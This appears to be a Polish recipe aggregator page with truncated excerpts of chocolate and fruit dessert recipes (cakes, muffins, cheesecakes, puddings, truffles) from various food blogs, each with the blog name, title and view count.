frużeliną z dowolnych, ulubionych przez Was owoców. Przepis można wykorzystać w tortownicy o średnicy 21cm . Ciasto czekoladowe na śmietanie Składniki: 160g mąki pszennej 175g śmietany 18% 100g masła 100g czekolady (u mnie 2/3 gorzkiej i 1/3 mlecznej) 150g cukru trzcinowego 2 jajka 2 łyżki kakao 1 łyżka ekstraktu z wanilii 1 pełna łyżeczka proszku do pieczenia 1/2 płaskiej łyżeczki sody(...)oczyszczonej Wykonanie: - składniki na ciasto powinny być w temperaturze pokojowej - masło rozpuścić, dodać czekoladę, wymieszać, ostudzić - jajka roztrzepać z cukrem oraz ekstraktem z wanilii - do masy jajecznej dodać śmietanę, ostudzoną mieszankę czekoladową, składniki wymieszać - do osobnej miski przesiać mąkę pszenną, kakao, proszek do pieczenia i sodę oczyszczoną, składniki dobrze wymieszać - składniki suche przełożyć do składników mokrych, wszystko krótko wymieszać - formę

Smakołyki Bereniki
MUFFINKI CZEKOLADOWE Z ORZECHAMI 154

mokrymi za pomocą łyżki lub szpatułki i robić to krótko, tylko do połączenia składników. Masa powinna pozostać grudkowata, jednak bez widocznych surowych części mąki. SKŁADNIKI 100 g gorzkiej czekolady/ drobno pokrojonej 150 g masła 300 g mąki pszennej (2 szklanki) ³⁄₄ szklanki mleka  ³⁄₄ szklanki cukru  3 łyżki kakao 2 jajka 2 łyżeczki proszku do pieczenia 1 szklanka posiekanych orzechów(...)włączoną funkcją grzanie góra/dół bez termoobiegu. Formę na muffiny wykładamy papilotkami. Do dużej miski przesiewamy mąkę, kakao i proszek do pieczenia. Dosypujemy cukier i posiekane orzechy oraz czekoladę. Mieszamy. W rondelku rozpuszczamy masło, odstawiamy z ognia i zostawiamy do lekkiego przestygnięcia. Stopniowo, cały czas mieszając rózgą lub miksując dolewamy mleko i dodajemy jajka. Mieszamy, aż wszystkie składniki połaczą

cool and minty
Mini kopce kreta z truskawkami 247

każdej babeczce drążymy otwór, ja użyłam do tego celu łyżeczki. Krem: 400 ml śmietany 30% 2 łyżki cukru pudru 2 łyżeczki żelatyny  1/4 szkl. mleka 3-4 kostki czekolady ok 20 truskawek Żelatynę zalewamy mlekiem, odstawiamy na chwilę, a gdy spęcznieje rozpuszczamy w kąpieli wodnej. Śmietankę ubijamy z cukrem pudrem. pod koniec dodajemy ostudzoną żelatynę (ja najpierw dodaję(...)łyżki śmietany do żelatyny, mieszam i dopiero przelewam do reszty śmietany) oraz startą na wiórki czekoladę. W wydrążonych babeczkach umieszczamy pokrojone w plastry truskawki, na nie nakładamy łyżką bitą śmietanę. Pozostałe po drążeniu ciasto kruszymy i obsypujemy nim babeczki, lekko dociskając okruszki do śmietany i mini kopce kreta gotowe. Smacznego

Cynamonowe szczęście
Tort czekoladowy owoce leśne 2559

kostki masła 1 budyń 1,5 szklanki mleka 2-3 łyżki cukru pudru 2-3 łyżki kakao + kawa na poncz, świeże owoce do dekoracji i przełożenia ciasta, tabliczka gorzkiej czekolady na polewę, olej kokosowy (opcjonalnie) Biszkopty przygotowujemy według przepisu , można upiec go dzień wcześniej, żeby miały dużo czasu na ostygnięcie. Kawę zaparzamy wcześniej i odstawiamy do ostudzenia lub od razu(...)wyrównujemy brzegi szpatułką lub nożem. Jeśli mamy tyle miejsca w lodówce tort dobrze jest schłodzić. Ważne, żeby był przykryty, żeby nie nasiąknął innymi zapachami. W kąpieli wodnej rozpuszczamy gorzką czekoladę. Na koniec dodajemy łyżeczkę oleju kokosowego – dzięki temu polewa ma ładną konsystencję i lepiej zastyga. Z reszty kremu wyciskamy na tort ozdobne różyczki. Na środku układamy świeże owoce. Smacznego

Ciastkozercy
Waniliowa kawa mrożona 231

łyżeczki kawy rozpuszczalnej 200 ml wody 200 ml zimnego mleka 2 gałki lodów waniliowych 2 łyżki syropu waniliowego (można dać cukier waniliowy) kostki lodu opcjonalnie: bita śmietana i starta czekolada  Kawę zaparzamy w 200 ml wody, studzimy. Do wysokiego naczynia wlewamy chłodną kawę, dolewamy zimne mleko, syrop waniliowy i lody. Mieszamy za pomocą blendera. Do szklanki wsypujemy po kilka(...)kostek lodu i wlewamy kawę. Jeśli ktoś ma ochotę może kawę podać z bitą śmietaną i startą czekoladą

My simple kitchen
Rolada podwójnie truskawkowa 190

ściereczką tak, aby warstwa ciasta z truskawkami była w środku. Ostudzić. Krem:   250g serka mascarpone,  400 ml śmietanki 30%,  3 łyżki cukru pudru,  50g białej czekolady,  200g truskawek. Śmietankę ubić na sztywno z dodatkiem cukru pudru. Dodać serek mascarpone i krótko zmiksować  (odłożyć odrobinę do dekoracji). Następnie dodać startą na dużych oczkach czekoladę

Z miłości do słodkości
Ciasto czekoladowe z musem truskawkowym 289

wolne dwa dni! I w niedzielę o 18.00 oczywiście dziećmi muszę się zająć :)   Składniki na ciasto czekoladowe: na blaszkę o wymiarach 22x29cm 200 g masła 200 g gorzkiej czekolady 300 g dżemu lub powideł (dałam dżem truskawkowy) 200 g cukru 4 średnie jajka lub 3 duże 300 g mąki 2 płaskie łyżeczki proszku do pieczenia szczypta soli Przygotowanie: Masło(...)topimy w rondelku razem z posiekaną czekoladą. Odstawiamy do wystygnięcia.  Do przestudzonej masy dodajemy dżem, cukier, sól i rozkłócone jajka. Mieszamy wszystko bardzo dokładnie (najlepiej mikserem) i do jednolitej masy dodajemy mąkę wymieszaną z proszkiem do pieczenia.  Piekarnik nagrzewamy do 170 stopni.  Blaszkę wykładamy papierem do pieczenia, przelewamy ciasto i pieczemy ok. 50 minut z włączoną funkcją

bistro mama
Tort z musem czekoladowym 147

wypieków - 160g mąki tortowej - 67g mocnego kakao - 53g masła - 2 łyżeczki esencji rumowej Składniki na mus czekoladowy: - 500ml słodkiej śmietanki 30% - 500ml double cream (lub śmietanki 36%) - 700g dobrej czekolady deserowej - 3 łyżki cappuccino o smaku rumowym - ½ szklanki cukru pudru - ok. 60ml dobrego alkoholu (u mnie domowa nalewka śliwkowa, ale może też być wiśniwka) - 1 łyżeczka esencji rumowej Dodatkowo(...)biszkopt ostygnie zawijamy go w folię spożywczą i odstawiamy do następnego dnia. Pora na „bazę” do musu czekoladowego. Obie śmietany wlewamy do rondla, podgrzewamy na średnim ogniu, dodajemy czekoladę połamaną na kawałki oraz 3 łyżki rumowego cappuccino. Masę mieszamy do chwili, aż składniki się połączą. Odstawiamy do ostudzenia i na noc wstawiamy do lodówki. Na drugi dzień rozpuszczamy galaretkę wiśniową

mojewypiekiinietylko
Ciasto "Truskawkowa rozkosz" 350

łyżeczki żelatyny Wierzch śmietanowy 400 ml zimnej śmietany 18% 1,5 łyżki cukru pudru 2 łyżeczki żelatyny 3 łyżki wrzątku Dodatki ok. 100 g małych biszkoptów gorzka czekolada Ciasto rozpocząć od przygotowania pianki i musu truskawkowego. 3 galaretki rozpuścić w 400 ml wrzątku. Dobrze wymieszać i odstawić do schłodzenia i lekkiego ścięcia. Truskawki rozdrobnić za pomocą blendera. Przelać(...)śmietany. Miksować do połączenia. Wyłożyć śmietanę na stężały mus truskawkowy. Wyrównać powierzchnię. Całość przykryć folią spożywczą i wstawić do lodówki na kilka godzin lub na całą noc. Udekorować startą czekoladą, według mnie im bardziej gorzka, tym lepsza. ----- Podobne: Tureckie ciasto szpinakowe Jaglana szarlotka bez pieczenia Śmietanowiec majowy

Weekendy w domu i ogrodzie
Ciasto szpinakowo-kokosowe 175

szklanka wiórków kokosowych (90 g) 1/3 szklanki oleju (85 g) 1/4 szklanki mleka (60 g) 2 łyżeczki cukru wanilinowego 1,5 łyżeczki sody oczyszczonej do dekoracji 1/2 tabliczki mlecznej czekolady (50 g) wiórki kokosowe *forma: mniejsza keksówka lub tortownica o średnicy 18 cm Szpinak umyć, osuszyć i przesypać do kielicha blendera. Wlać 1/4 szklanki wody. Całość ze sobą zmiksować, tworząc(...)pieczenia wyłożyć papier. Przelać ciasto. Piec około 40-50 minut w 180°C (aż do suchego patyka). Upieczone ciasto ostudzić, a na sam koniec polać roztopioną w kąpieli wodnej czekoladą i udekorować wiórkami koksowymi. Kroić dopiero po zastygnięciu polewy.  Ciasto przed i po wyrośnięciu :) Pomysł na przepis stąd

Ugotować
Wegański sernik w trzech smakach 146

łyżeczki proszku do pieczenia (bezglutenowego, jeżeli ma być w 100 % bezglutem) łyżka esencji waniliowej 80 g oleju kokosowego masa czekoladowa: 30 szt namoczonych daktyli 4-6 kostek gorzkiej czekolady 2 łyżki kakao lub karobu masa kokosowa: 200 g namoczonych wiórków kokosowych 50 g cukru masa truskawkowa: 250-300 g truskawek opakowanie budyniu waniliowego lub 3 łyżki mąki ziemniaczanej Przygotowanie: Wszystkie(...)zblenduj na idealnie gładką masę. Podziel całość na mniej więcej 3 równe części, i tak do części czekoladowej dodaj kakao i daktyle, zblenduj na gładką masę i dodaj posiekaną czekoladę. Przełóż masę do formy wyłożonej papierem do pieczenia. Do drugiej, kokoswej masy dodaj wiórki kokosowe i cukier, zblenduj wszystko razem i przełóż na masę czekoladową. Do masy truskawkowej dodaj cukier

greenscarf
Tarta jaglano-truskawkowa (bez pieczenia) 163

miękkiego masła * można też wyłożyć formę okrągłymi biszkoptami, pomijając ich mielenie z dodatkiem masła Nadzienie: 1 szklanka kaszy jaglanej + 3 szklanki wody + 1 łyżka oleju 100 g białej czekolady 200 g śmietany kremówki 1 szklanka pulpy z bardzo dojrzałych, słodkich truskawek (po wyciśnięciu soku z 1,5 kg truskawek) lub 1 szklanka smażonych truskawek: na maśle podsmażyć ok. 3 szklanki(...)jaglano-truskawkowej. Nadzienie: Kaszę ugotować wg przepisu na opakowaniu. Ja gotuję zawsze w proporcji 1:3 (1 szklanka kaszy na 3 szklanki wody z dodatkiem łyżki oleju) .  Białą czekoladę połamać na kawałki, zalać śmietaną i rozpuścić w kąpieli wodnej.  Kaszę zmiksować od razu po ugotowaniu za pomocą blendera/ malaksera z pozostałymi składnikami - do momentu uzyskania gładkiej, jednolitej masy

Domowa Cookierenka Agi
Brzoskwiniowy Puch 173

ułożyć na dno tortownicy, przełożyć kilka łyżek masy serowo-śmietanowej, ułożyć połówki brzoskwiń i zaleć wszystko resztą masy. Przykryć drugą częścią biszkoptu*. Schłodzić w lodówce. Dodatkowo: 100 g gorzkiej czekolady 1 łyżeczka cukru pudru praliny do zdobienia Przygotowanie: 50 ml śmietanki podgrzać prawie do wrzenia z 1 łyżeczką cukru pudru. Czekoladę połamać na małe kawałki i zalać gorącą śmietanką. Odczekać

Kulinarna (nie)codzienność
Owsianka czekoladowo - kokosowa 139

tego owoce. Smakowała nam bardzo. Młody tylko komentował, że kiwi za kwaśne, ale zjadł he :)) Składniki na 3 porcje: 1 1/2 szklanki mleka 1 1/2 szklanki wody gorzka czekolada (ja dałam 3 kostki) 11/2 szklanki płatków owsianych u mnie Halina   3 łyżki kakao rodzynki żurawina kokos 2 łyżki miodu Dodatkowo owoce: kiwi mandarynki jabłka Do rondelka wlewamy mleko(...)wodę, dodajemy miód, płatki, kakao i mieszamy. Następnie dodajemy czekoladę, rodzynki i żurawinę. Gotujemy na małym ogniu do momentu,aż wszystko nam zgęstnieje. Dodajemy kokos. Zostawiamy jeszcze na ogniu jakieś 2 minuty, mieszamy. Ciepła przekładamy do miseczek, dodajemy  pokrojone owoce i gotowe

kruche babeczki
Deser na śniadanie? 189

przygotowaniu, a zje go każdy. Mamy już południe a obiad w lesie. Piszę szybciutko składniki i przygotowanie i mykam do kuchni. Miłego dzionka :) SKŁADNIKI: 1 mały banan odrobina gorzkiej czekolady 2 łyżki płaskie płatków jaglanych 1 płaska łyżka płatków kukurydzianych bez glutenu 2 łyżki jogurtu greckiego PRZYGOTOWANIE:    Na dól miski daj płatki jaglane. Pokrój banana w kostkę. Ułóż(...)zostawić z boku miejsce na jogurt. Daj jogurt.  Banana posyp płatkami kukurydzianymi. Nożykiem zeskrob gorzką czekoladę na jogurt SMACZNEGO

Misz-masz by Domi
Chlebek bananowy bez cukru / Sugar free banana bread 220

Składniki: 3 dojrzałe banany 1,5 szkl. mąki pełnoziarnistej 1 jajko 1 łyżeczka sody 2 łyżeczki proszku do pieczenia 3 łyżeczki oliwy 1 garść suszonej żurawiny 2 paski gorzkiej czekolady 1/2 łyżeczki cynamonu 1 łyżeczka kakao Przygotowanie: Jajko roztrzepać, połączyć z rozgniecionymi bananami i zblenderować. Dosypać mąkę, sodę, proszek do pieczenia, cynamon i kakao. Dodać oliwę. wszystko dokładnie wymieszać. Czekoladę

karmelowy
Tort czekoladowo truskawkowy 314

innego utrwalacza do bitej śmietany +truskawki do dekoracji, białe wytrawne wino na poncz lub dowolna owocowa herbata jeśli tort będą jadły dzieci, 1 łyżka kakao, 50 g gorzkiej czekolady, 1 łyżeczka oleju kokosowego Biszkopt przygotowujemy według przepisu . Można upiec go poprzedniego dnia, żeby miał dużo czasu na ostygnięcie. Truskawki myjemy i odkładamy na ściereczkę do wyschnięcia. Biszkopty przekrawamy na pojedyncze(...)nakładamy pierwszą warstwę kremu. Truskawki kroimy na plasterki i układamy na kremie. Powtarzamy z pozostałymi spodami. Nakładamy na tort cienką warstwę kremu, która ma za zadanie złapanie wszystkich okruszków. Czekoladę rozpuszczamy w kąpieli wodnej i dodajemy 1 łyżeczkę oleju kokosowego – dzięki temu polewa ma idealną konsystencję i ładnie zastyga. Na tort nakładamy drugą warstwę kremu. Gotową polewę czekoladową przekładamy

Ciastkozercy
Dietetyczne delicje czekoladowe z galaretką 124

Kolejny przepis na pyszny i zdrowy zamiennik słodyczy. Tym razem uwielbiane przez wielu biszkopciki z galaretką, polane czekoladą, czyli po prostu delicje :) Przygotowane na mące owsianej, zdecydowanie bardziej kruche niż oryginalne! Do tego galaretka bez cukru i polewa z oleju kokosowego i naturalnego kakao.   Biszkopciki: 3 jajka 70 g mąki owsianej 1 łyżeczka miodu Białka ubić na sztywno, dodać(...)lodówce do stężenia. Z gotowej galaretki wykrawać okrągłe kształty. Układać na biszkopcikach od płaskiej strony.  Polewa: 1 łyżka oleju kokosowego 2 łyżki kakao  lub roztopiona gorzka czekolada Olej roztopić, dodać kakao i miód. Wymieszać. Wystudzić. Polewa nie może być gorąca - rozpuści galaretkę!  Polać biszkopciki. *można także użyć gotowej galaretki bez cukru lub zastąpić wodę i smaker sokiem

Chocolate Muffin Blog
Słodko-gorzkie chilii, czyli fasola z ananasem i czekoladą 98

pomidorów lub około 1 kg świeżych 3-4 gałązki selera naciowego łyżeczka soli łyżeczka papryki łyżeczka kuminiu łyżeczka suszonego czosnku lub 2-3 ząbki świeżego około 50 g gorzkiej czekolady Przygotowanie: Wszystkie warzywa pokrój w kostkę. W dużym garnku rozgrzej olej i zeszklij cebulę. Po 2-3 minutach dodaj paprykę i seler oraz wszystkie przyprawy (poza solą). Duś około(...)minut mieszając od czasu do czasu.   Dodaj pomidory, ananasa (pokrojonego w kostkę oczywiście) i sól. Dorzuć pokruszoną czekoladę, mieszaj aż się rozpuści i zagotuje. Na samym końcu dodaj fasolę, wymieszaj dokładnie i gotuj prze 3 minuty.   Smacznego

greenscarf
Szaszłyczki owocowe. 131

lubią owoce w naturalnej formie. Zaopatrzmy się w wielobarwny kosz owoców, paczkę patyczków i zestaw pomysłów na połączenia kolorów. Przygotujmy w kubkach kilka sosów do maczania naszych szaszłyczków: rozpuszczona czekolada, bita śmietana, krem karmelowy, mus truskawkowy... a może jogurt? Eksperymenty (mniej lub bardziej udane) to istota szaszłyczkowej zabawy :) Jakiś czas temu Marzena wspomniała o zbliżających się piłkarskich mistrzostwach i obiecała(...)Składniki moich szaszłyczków to: truskawki ananas kiwi jagody winogrona Dla uzupełnienia tęczowego spektrum przydałyby się maliny i pomarańcze lub kaki (a może papaja?). Szaszłyczki maczaliśmy w deserowej i białej czekoladzie, które rozpuściliśmy w mikrofalówce z dodatkiem łyżki masła

zadanie-gotowanie
DESER WANILIOWO – CZEKOLADOWY Z KASZY MANNY 196

mleko – 0,5 l * cukier puder – 100 g * żółtko – 1 szt * kasza manna – 3/4 szkl * kakao – 1 łyżka * laska wanilii – 1 szt DODATKOWO: czekolada do polania SPOSÓB PRZYRZĄDZENIA: Masło roztapiamy, dodajemy drobno pokruszone herbatniki, dokładnie mieszamy tworząc „kruche ciasto” i wylepiamy spody 3 foremek / rantów. Kaszę mannę gotujemy w mleku cały czas(...)jednej dodajemy kakao, do drugiej ziarenka wanilii, mieszamy. Obydwie masy wykładamy naprzemiennie na kruche ciasto, wygładzamy i odstawiamy do lodówki na ok. 3 godziny. Przed podaniem polewamy roztopioną mleczną czekoladą i posypujemy np. odrobiną prażonych orzeszków. Smacznego

Ostra na Słodko
Jaglanka czekoladowo-orzechowa 110

Woda – 300ml do gotowania kaszy (lub dowolne mleko roślinne) Masło orzechowe – 50g ( przepis na masło orzechowe ) Syrop ryżowy – 100g (lub inny ulubiony „słodzik”) Gorzka czekolada – 50g Powidła śliwkowe – opcjonalnie według uznania Wykonanie: Kaszę jaglaną rozgotuj – na wodzie lub na mleku roślinnym. Podziel ją na 2 części. Do jednej wrzuć czekoladę a drugą

Blendman
Drożdżowe buły z czekoladą 114

Blueberry Corner by "jagodzianka" Pyszne połączenie drożdżowego ciasta z czekoladą i bezą. Rozkosz dla podniebienia. Przygotowanie go nie wymaga dużo umiejętności. Drożdżowe buły z … Przeczytaj cały artykuł Post Drożdżowe buły z czekoladą pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Ciasto czekoladowe z cukinią 127

szklanki startej na dużych oczkach cukinii (220 g) niepełne 2 szklanki mąki pszennej (240 g)  niepełna szklanka drobnego cukru (170 g) 1 tabliczka mlecznej czekolady (100 g) 2 łyżeczki kawy rozpuszczalnej 1/2 szklanki ciemnego kakao 2 łyżeczki cukru wanilinowego 1 łyżeczka proszku do pieczenia 3 duże jajka 110 g masła szczypta soli dodatkowo: cukier puder do dekoracji Masło rozpuścić(...)rondelku. Następnie dodać połamaną czekoladę. Całość wymieszać i odstawić do ostygnięcia. Do miski wbić jajka, wsypać cukier. Za pomocą trzepaczki roztrzepać jajka. Następnie wsypać mąkę wymieszaną z kawą rozpuszczalną, proszkiem do pieczenia, szczyptą soli i gorzkim kakao. Całość wymieszać. Na sam koniec powoli wlać masę z rondelka i dodać startą na dużych oczkach cukinię. Wszystkie składniki połączyć ze sobą. Formę

Ugotować
Sernik z wiśniową niespodzianką 156

cukru 1 opakowanie cukru waniliowego 5 jajek 1 kg sera sernikowego 1 budyń waniliowy/śmietankowy (40 g) 75 g masła roztopionego rodzynki (opcjonalnie) dodatkowo: 1 żółtko 1/2 tabliczki białej czekolady 2 łyżki konfitury truskawkowej Składniki na ciasto posiekać na stolnicy i zagnieść ciasto. Owinąć je w folię i włożyć do lodówki na pół godziny.  Następnie przygotować wiśniowe nadzienie: Wiśnie(...)wierzch roztrzepanym żółtkiem z łyżką wody i podpiec jeszcze 10 minut. Dokładnie wystudzić (najlepiej zostawić w piekarniku i delikatnie uchylić drzwiczki). Zimny sernik posmarować konfiturą i posypać startą białą czekoladą. Włożyć do lodówki najlepiej na całą noc. Smacznego

Kulinarna (nie)codzienność
Sernik z borówkami 147

jajek 1 kg sera sernikowego 1 budyń waniliowy/śmietankowy (40 g) 2 łyżki kaszy manny 75 g masła roztopionego 250-300 g borówek dodatkowo: garść borówek 100 g białej czekolady Wykonanie Ciasto: Składniki na ciasto posiekać na stolnicy i zagnieść ciasto. Owinąć w folię i włożyć do lodówki na pół godziny. Przygotowanie masy serowej: Masło roztopić i przestudzić. Jajka ubić(...)sernik i delikatnie wyłożyć na wierzch pozostałą masę serową.  Piec 60 minut w 170*C . Pozostawić sernik w piekarniku do wystudzenia. Zimny sernik posmarować  roztopioną  białą czekoladą i posypać borówkami. Włożyć do lodówki najlepiej na całą noc. Smacznego

Kulinarna (nie)codzienność
Mini serniczki z borówkami 176

masa serowa: 500 g twarogu sernikowego 250 g ricotty (lub mascarpone) 1/2 szklanki cukru 1 cukier waniliowy 1 budyń śmietankowy (40 g) 1 jajko dodatkowo: garść borówek 50 g czekolady deserowej/gorzkiej posypka do dekoracji Wykonanie Formę na muffiny wyłożyć papilotkami. Piekarnik nastawić na 180*C. Herbatniki dokładnie pokruszyć i wymieszać z roztopionym masłem. Przełożyć do papilotek i wyrównać powierzchnię(...)jajko i ponownie zmiksować do połączenia się składników. Masę wyłożyć na ciasteczkowy spód do wysokości papilotek. Na każdej muffince ułożyć kilka borówek. Piec około 25 minut. Ostudzić. Udekorować roztopioną czekoladą. Można jeść zaraz po przestudzeniu albo schłodzić w lodówce (masa będzie bardziej zwarta). Smacznego

Kulinarna (nie)codzienność
Pieguski czekoladowe 144

robieniu ich a to może być dla nich niezła frajda ;) Składniki: 300g mąki 150g masła (schłodzić) 1 żółtko 1/3 szklanki cukru 2 łyżeczki proszku do pieczenia 3/4 tabliczki gorzkiej czekolady Mąkę mieszamy z proszkiem do pieczenia, dodajemy masło i siekamy nożem. Dodajemy żółtko i cukier i ugniatamy ciasto chwilę, czekoladę siekamy, dodajemy do ciasta i ugniatamy aż zacznie się odklejać

Idę coś wszamać
Fudge (krówki) z likierem czekoladowym 193

ustach kostki...  Mega szybkie w przygotowaniu i wyłącznie z trzech składników. Składniki: 125 ml likieru czekoladowego Dalkowski  2 szklanki cukru pudru 1 i 1/2 szkl posiekanej ciemnej czekolady  Wykonanie: Do likieru wsypujemy cukier puder i dokładnie mieszamy. Dodajemy rozpuszczoną czekoladę i całość dokładnie mieszamy. Pojemnik o boku ok 14 cm wykładamy np folią spożywczą i wylewamy naszą

Malinowe Pocałunki
Czekoladowe ciasto drożdżowe z truskawkami 235

Chodziło za mną drożdżowe, a że miałam truskawki to postanowiłam je wykorzystać. Zupełnie nie wiem dlaczego wcześniej nie wpadłam na ten pomysł, żeby zrobić czekoladowego drożdżaka. Połączenie truskawek z czekoladą to oczywista oczywistość, zewsząd będziemy atakowani zdjęciami truskawek umazianych czekoladą, że niby to takie wykwintne, i „ąę”. Moje ciasto to podrasowany banał, ale uwierzcie mi smakuje rewelacyjnie

greenscarf
Trufle daktylowe 131

mówiąc - są boskie!  Koniecznie musicie wypróbować ten przepis, bardzo gorąco go polecam. :) Składniki (na 30 sztuk): 200 gramów suszonych daktyli 1 pomarańcza 80 gramów orzechów włoskich 60 gramów czekolady deserowej 4 łyżki stołowe dobrej jakości kakao Wykonanie: Daktyle pokrój na małe kawałki, włóż do rondelka. Wyciśnij sok z pomarańczy, wydrąż miąższ i dodaj do daktyli. Gotuj całość około(...)minut na małym ogniu, mieszaj co jakichś czas. Odstaw do ostudzenia, następnie zblenduj na gładką masę.  Posiekaj drobno orzechy oraz czekoladę, dodaj do masy wraz z kakao.  Wstaw do lodówki, najlepiej na kilka godzin lub całą noc.  Z gotowej masy formuj ładne kulki, następnie obtocz je w kakao, wiórkach kokosowych lub posiekanych orzechach.  Smacznego

Garniec Magalie
Mazurek na waflach 114

powiedział, że mazurki można jeść tylko w święta :P Składniki: 1 opakowanie wafli 1 puszka masy kajmakowej 200 g czekolady gorzkiej / mlecznej płatki migdałowe do dekoracji Przygotowanie: Masą kajmakową przełożyć wafle. Docisnąć deską, aby pod wpływem masy się nie odkształciły. Czekoladę rozpuścić w kąpieli wodnej i polać wafle. Udekorować migdałami. SMACZNEGO

Malinowo w kuchni
Mleczny kisiel kawowy z czekoladą 127

Składniki na 2-3 porcje: 500 ml mleka 2 łyżki mielonej kawy (lub rozpuszczalnej) 3 łyżki brązowego cukru 1 łyżka esencji waniliowej 2 płaskie łyżki mąki ziemniaczanej kilka kostek czekolady gorzkiej lub deserowej Do garnuszka wlać mleko odlewając z niego uprzednio 1/3 szklanki. Zagotować, wsypać kawę, wymieszać i odstawić pod przykryciem na kilka minut, żeby kawa dobrze się zaparzyła. Zaparzoną(...)pozostałą ilością mleka wymieszać mąkę ziemniaczaną i esencję waniliową. Wlać do gotującej się kawy i mieszając gotować przez chwilę, do zgęstnienia. Przelać do pucharków. Na wierzch wysypać posiekaną czekoladę. Podawać na gorąco lub po przestudzeniu. Wersję dla dzieci można przygotować z kawą typu inka. Jeśli lubicie takie proste domowe desery, to spróbujcie owsianki czekoladowej z nasionami chia . Jest naprawdę pyszna

Codzienna kuchnia niecodzienna
Sernik gotowany na herbatnikach 377

promocji jajka z wolnego wybiegu),   1 i 1/2 szklanki cukru,  budyń śmietankowy,   200g masła lub margaryny,  duże opakowanie herbatników (ok. 250g),  100g mlecznej czekolady,  3 łyżki śmietanki 30%. Wykonanie: Ser zmielić. Do garnka przełożyć masło, rozkłócone jajka , cukier oraz sproszkowany budyń. Często mieszając, podgrzewać na małym ogniu, aż masło się rozpuści i powstanie(...)przykryć kolejną warstwą herbatników. Odstawić do ostygnięcia. Można też wylać najpierw połowę masy serowej, przykryć drugą warstwą herbatników i wylać resztę masy serowej, po czym rozłożyć ostatnią warstwę ciastek. Czekoladę połamać na kawałki, dodać śmietankę i stopić na parze na bardzo małym ogniu. Lekko przestudzić i wylać na wierzch ciasta. Równomiernie rozprowadzić. Ciasto wstawić do lodówki

Z miłości do słodkości
Lody bananowe z wkładką czekoladową 218

przyrządzić dzisiaj a zjeść np jutro- chociaż uprzedzam, że łatwo im się nie oprzecie. Lody są mocno bananowe na bazie prawdziwych bananów i świeżej kremówki z dodatkiem przepysznej czekolady Callebaut .  Polecam bardzo ;)  Składniki: 3 duże banany  1 duża pomarańcza 1,5 szklanki kremówki 36% 1/3 szklanki cukru trzcinowego czekolada Callebaut Wykonanie: Banany obrać ze skórki i przełożyć

Krakowskie smaki Ani
MUS CZEKOLADOWY Z BITĄ ŚMIETANĄ I LENTILKAMI 126

którym zachwycą się zarówno dzieci jak i dorośli. Taki mus czekoladowy jest świetnym pomysłem, do popołudniowej kawki albo jako deser na romantyczną randkę. Koniecznie wypróbujcie! SKŁADNIKI: ( 1 porcja ): gorzka czekolada – 60 g * woda -1 łyka * masło – 1 łyżeczka * jajko – 1 szt * cukier puder – 1 łyżka * śmietana 36% + 2-3 łyżki DODATKOWO: * ubita śmietana kremówka + cukier SPOSÓB(...)PRZYRZĄDZENIA: W rondelku podgrzewamy wodę z połamana czekoladą, dodajemy masło, dokładnie mieszamy. Białko oddzielamy od żółtka, żółtko ucieramy z cukrem pudrem, a następnie dodajemy przestudzoną masę czekoladową. Śmietankę ubijamy na puch, białko ubijamy na pianę z odrobiną soli – wszystko razem stopniowo dodajemy do masy czekoladowej i lekko , ale dokładnie mieszamy. Wlewamy do słoiczka, podajemy mocno schłodzony z ubitą

Ostra na Słodko
Metrowiec 153

łyżki kakao Masa: 3 szklanki mleka 2 łyżki mąki pszennej 2 łyżki mąki ziemniaczanej 1 szklanka cukru 1 opakowanie cukru wanilinowego 300 g masła Polewa: 200 g gorzkiej czekolady 200 ml śmietanki kremówki 30-36% 2 łyżki miodu 2 łyżki masła Dodatkowo: wiórki kokosowe/posiekane orzechy Przygotowanie: Ciasto: Ubić białka na sztywno ze szczyptą soli, dodać powoli cukier i cukier wanilinowy(...)kremem, sklejać na przemian ciasto jasne, ciemne i układać długi placek. Resztą masy obsmarować ciasto. Polewa:  Śmietankę podgrzać z miodem, zestawić z palnika i dodać pokruszoną czekoladę i masło. Dokładnie wymieszać. Ciasto polać polewą i posypać kokosem. Kroić skośnie. SMACZNEGO

Malinowo w kuchni
Czekoladowy pudding chia z kokosowym kremem 96

użyj tylko górnej, tłustej warstwy mleczka kokosowego) 1/2 łyżeczki ekstraktu waniliowego lub ziarenka wanilii 2 łyżeczki miodu 1,5 łyżki oleju kokosowego Do podania: szczypta kakao 4 kostki gorzkiej czekolady 1 łyżka płatków migdałowych 1. Nasiona chia zalej zimnym mlekiem,wymieszaj, włóż do lodówki na godzinę. 2. Zblenduj chia z mlekiem i resztą składników na pudding. 3. Zrób krem - mleczko(...)olejem, miodem i wanilią. Będzie dość leiste, po kilku godzinach w lodówce nieco stężeje. 4. Przelej pudding do pucharków, polej kremem i włóż do lodówki. 5. Przed podaniem udekoruj czekoladą, kakao i migdałami

Powiedz dietom nie
Ciasteczka jogurtowe z polewą czekoladową (Biscotti allo yogurt con glassa al cioccolato) 135

masła (wcześniej wyjętego z lodówki, żeby było miękkie)  150 gr cukru 200 gr jogurtu naturalnego 8 gr proszku do pieczenia 1 łyżeczka cukru waniliowego sól Polewa 200 gr czekolady gorzkiej PRZYGOTOWANIE Ciasteczka Mąkę wymieszać z proszkiem do pieczenia i solą. Masło pokroić na kawałki i zmiksować z cukrem i cukrem waniliowym na puszystą masę. Dodać jogurt, potem mąkę wymieszaną(...)mąką rozwałkować ciasto i wykrawać foremkami serduszka.  Ciasteczka wyłożyć na blachę wyłożoną papierem do pieczenia. Ciasteczka piec 15-20 min. w piekarniku nagrzanym do 180 stopni. Polewa 1. Czekoladę pokroić w kawałki i rozpuścić w kąpieli wodnej. 2. Po ostygnięciu jest gotowa do dekoracji. Smacznego

La grande e la piccola cuoca
Czekoladowe babeczki z konfiturą truskawkową 137

